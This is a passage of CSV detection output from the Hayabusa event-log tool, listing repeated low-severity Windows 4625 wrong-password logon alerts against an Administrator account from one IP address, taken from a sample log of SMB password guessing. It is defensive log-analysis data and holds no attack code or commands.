NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.503 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KAFgReUMtu9VerRl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.543 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ByeL26yQfohpQT3z : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.597 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 527r3nh9ocmItXfL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.637 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HNeC1BBFVXv839Ys : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.673 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: juXXpQcoPfJLMQ3L : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.708 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: njNdv4lGnsUpooCP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.748 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: j6VchLhWJT7cCWVR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.788 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: r3xxnFpbd8zkFm0h : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.824 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jtf156NEpOebQHGC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.868 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 17O1jfGX6KQMPgnD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.905 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3NaqTqrCiPPfNxZF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.950 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Az7cwIWXUGVIMTv5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.004 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Djaxf99PVs2VkMy6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.056 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rbTSoTdaQ0Y4c9Gw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.096 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: g9aTo4QBHfrgPYZ2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.128 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dpHKjYzZTn0ruIrf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.168 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HqhPnV6tc8airRqu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.211 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RIOCqtXh5ji12U5q : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.254 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RwuGZ0kgg1yToLlr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.289 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZSBbd4qBRuzeKBjD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.337 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8zS1Muxc9gpcqv23 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.380 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: c6wiIkfkgtso42P1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.420 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Q1ilRmhSB5RfvpVa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.456 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PuQ47GGBraimypWL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.504 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UfUsAYWilbwMScpE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.554 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 22ZSltGNwIl0DNDM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.595 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IYwG9IUpdk5DmM8w : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.644 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4a8kbGxQFHDBodGF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.685 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KoLqIaO8p3k9kOkj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.733 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rUnonSx3ZBdkyGhu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.772 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: d1QJziwKhsaJljGV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.807 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZhcNRrpODYB9jZxs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.852 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Yi5JE53caVn7n54w : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.885 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Jx6qTASzFp830ud6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.924 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: b4L8HtBWlmAMTjCf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:15.966 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: F4hVfTwibHreepku : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.012 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3TlapK211UT8SO0W : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.059 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Mzzw3uPkn2cgtmlF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.092 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aPnfUjwJei5E5BD7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.133 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Mm1k0eeKAYokIbDg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.166 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: w8TDNcJ3LMyNtUe1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.209 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ogKKslkdXvc9f130 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.252 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sgoy6gMfe5N0UiP5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.289 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lfjf3d6I8TsBOzvc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.328 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Vs8DG8s81oOwYoI7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.427 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LFkgN1aDoYkQ4qrT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.459 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KMwLokYpcFIYHegd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.507 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6oKradBV4ERsQnKs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.549 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0qPzlzfmgrbYTKqQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.596 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qKYlBm2lhobHzbjh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.623 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DBMu96oqO9tb3f4O : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.664 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tO04Q3eYdzyuy51v : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.701 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FrIa2UrSrfdhkDCx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.741 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: axhhyMrGl95O16Vg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.783 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: atjvfi8QeEDluhL2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.827 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9HPBZKUiiKeyQwSr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.872 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2SmitfyjO4mxqw5E : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.904 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Nrq1g8ktTQbPTXqn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.947 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 943GV3t1muba5IQT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:16.982 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HPVd28zf85AxdGqd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.023 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: D6evoSSxcKkHspuc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.051 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: C4fznmrnIdUH7DzG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.099 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AwrrYjUV41P0K5Jh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.148 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: z4RBZrALEnH5BKP9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.192 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LU6uWH4gs4iHP7rV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.237 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hCfhZDAH8ufk77zN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.277 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TE9pw4UeRldGeKVc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.312 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Z8PKE05MqxE5TwXT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.357 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GIE5fmddOPBbCM3u : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.414 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Pveyo4Czx6KWKCGn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.453 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zPyyHaRnBec7Qg2x : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.486 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: V3b8mudJp5mdkiEW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.524 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7Y6mjLaCzR28Q2qK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.563 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dMsNKWEjeCYYQVqw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.605 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: I7c5fENhkwO6QfEU : IP Address: 192.168.198.149 : AuthPackage: 